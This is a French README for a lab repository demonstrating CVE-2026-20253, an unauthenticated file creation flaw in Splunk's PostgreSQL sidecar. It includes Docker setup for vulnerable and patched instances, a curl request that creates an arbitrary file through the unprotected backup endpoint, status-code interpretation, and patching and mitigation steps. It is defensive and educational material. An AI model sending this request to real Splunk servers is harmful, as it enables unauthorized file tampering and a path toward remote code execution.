
POC pour CVE-2026-20253
Création et troncature arbitraires de fichiers sans authentification via le sidecar PostgreSQL
CVSS 9.8 · Critique · CWE-306 · Exploité activement (CISA KEV)
Ce dépôt est destiné strictement à des fins éducatives et de recherche en sécurité autorisée.
Tout test doit être effectué sur une infrastructure que vous possédez ou pour laquelle vous avez une autorisation écrite explicite.
Les auteurs déclinent toute responsabilité en cas d’utilisation abusive des techniques ou des outils présentés ici.
N’exécutez jamais ces tests contre des systèmes de production ou des environnements qui ne vous appartiennent pas.
CVE-2026-20253 affecte Splunk Enterprise dans les versions inférieures à 10.2.4 et 10.0.7.
Le service sidecar PostgreSQL intégré à Splunk expose deux points d’accès HTTP internes :
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Ces deux points d’accès ne comportent aucune vérification d’authentification (CWE-306), ce qui signifie que tout attaquant joignable sur le réseau peut les invoquer sans identifiants. En fournissant un paramètre backupFile contrôlé par l’attaquant, un utilisateur non authentifié peut créer ou tronquer des fichiers arbitraires sur le système de fichiers de l’hôte Splunk — une primitive que les chercheurs ont exploitée pour obtenir une exécution de code à distance complète sans authentification préalable.
| Propriété | Détail |
|---|---|
| CVE | CVE-2026-20253 |
| Score CVSS | 9.8 (Critique) |
| CWE | CWE-306 — Absence d’authentification pour une fonction critique |
| Affecté | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Corrigé dans | 10.0.7, 10.2.4 |
| CISA KEV | Ajouté le 18 juin 2026 |
.
├── Dockerfile # Image vulnérable (splunk 10.2.3)
├── docker-compose.yml # Conteneur vulnérable sur le port 8000
├── patched.Dockerfile # Image corrigée (splunk 10.2.4)
├── patched-docker-compose.yml # Conteneur corrigé sur le port 8001
└── instructions # Référence rapide des commandes
curl disponibledocker compose -f docker-compose.yml up -d --build
Attendez environ 90 secondes que Splunk soit complètement initialisé. Suivez la progression avec :
docker compose -f docker-compose.yml logs -f
# Prêt lorsque vous voyez : "Ansible playbook complete"
Interface web Splunk → http://localhost:8000
Identifiants : admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Interface web Splunk → http://localhost:8001
Identifiants : admin / changeme
Les deux conteneurs peuvent fonctionner côte à côte — les ports sont décalés pour éviter les conflits.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Attendu : 400 — le point d’accès existe, aucune authentification n’a été imposée, la requête a été traitée.
Vérifiez que le fichier a été créé dans le conteneur :
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Attendu : 401 — l’authentification est maintenant imposée, la requête est rejetée.
| Statut HTTP | Signification |
|---|---|
400 | Vulnérable — point d’accès atteint, pas de vérification d’authentification |
401 | Corrigé — authentification imposée |
404 | Sidecar absent / mauvais chemin |
000 | Conteneur pas encore prêt |
L’équipe de watchTowr Labs a publié un script de détection qui automatise le test ci-dessus :
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Arrêter l’instance vulnérable
docker compose -f docker-compose.yml down
# Arrêter l’instance corrigée
docker compose -f patched-docker-compose.yml down
Mettez à jour immédiatement vers une version corrigée :
| Branche | Version corrigée |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
Si vous ne pouvez pas appliquer le correctif immédiatement, désactivez le sidecar PostgreSQL en ajoutant ce qui suit dans server.conf et redémarrez Splunk :
[postgres]
disabled = true
⚠️ Ne désactivez pas le sidecar si vous utilisez Edge Processor ou les pipelines de données SPL2 — il est nécessaire pour ces fonctionnalités.
Cet environnement de laboratoire est fourni uniquement à des fins défensives de recherche en sécurité et d’éducation.
L’accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA), du UK Computer Misuse Act et des législations équivalentes dans le monde entier.
Utilisez-le de manière responsable.